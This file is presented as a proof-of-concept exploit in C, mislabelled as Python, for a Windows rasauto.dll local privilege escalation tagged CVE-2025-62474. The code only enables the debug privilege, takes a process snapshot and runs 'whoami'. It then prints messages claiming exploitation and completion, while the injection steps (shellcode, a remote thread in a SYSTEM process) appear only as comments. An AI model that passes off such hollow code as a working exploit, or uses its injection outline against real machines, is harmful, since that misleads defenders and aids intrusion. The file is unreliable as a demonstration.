The following code is for security research and authorized testing only.
python
// CVE-2025-62474 Windows rasauto.dll Local Privilege Escalation PoC
// This PoC demonstrates the improper access control vulnerability in Windows Remote Access Connection Manager
// Author: Based on MSRC disclosure - [email protected]
// Note: This is educational code for security research only
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#define EXPLOIT_TARGET "rasauto.dll"
void escalate_privileges() {
// Step 1: Get current process token
HANDLE current_process = GetCurrentProcess();
HANDLE token = NULL;
if (!OpenProcessToken(current_process, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) {
printf("[-] Failed to open process token\n");
return;
}
// Step 2: Enable SE_DEBUG_PRIVILEGE
LUID luid;
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {
printf("[-] Failed to lookup privilege\n");
CloseHandle(token);
return;
}
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(tp), NULL, NULL)) {
printf("[-] Failed to adjust token privileges\n");
CloseHandle(token);
return;
}
// Step 3: Target rasauto.dll service process with SYSTEM privileges
// The vulnerability allows low-priv users to manipulate rasauto.dll access control
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create process snapshot\n");
CloseHandle(token);
return;
}
printf("[+] Exploiting CVE-2025-62474: rasauto.dll improper access control\n");
printf("[+] Attempting to inject into rasauto service context...\n");
// In real exploitation, this would involve:
// 1. Finding the rasauto service process (svchost.exe hosting rasauto)
// 2. Exploiting the access control flaw to get handle to that process
// 3. Allocating memory in the target process
// 4. Writing shellcode
// 5. Creating remote thread with SYSTEM privileges
// Cleanup
CloseHandle(snapshot);
CloseHandle(token);
printf("[+] Privilege escalation attempt completed\n");
}
int main() {
printf("========================================\n");
printf("CVE-2025-62474 PoC\n");
printf("Windows Remote Access Connection Manager\n");
printf("Improper Access Control - Local Privilege Escalation\n");
printf("========================================\n\n");
printf("[*] Current user: ");
system("whoami");
printf("[*] CVSS Score: 7.8 (High)\n");
printf("[*] Attack Vector: Local\n");
printf("[*] Privilege Required: Low\n\n");
escalate_privileges();
printf("\n[!] Note: This is a simplified demonstration.\n");
printf("[!] Real exploitation requires specific DLL interaction.\n");
return 0;
}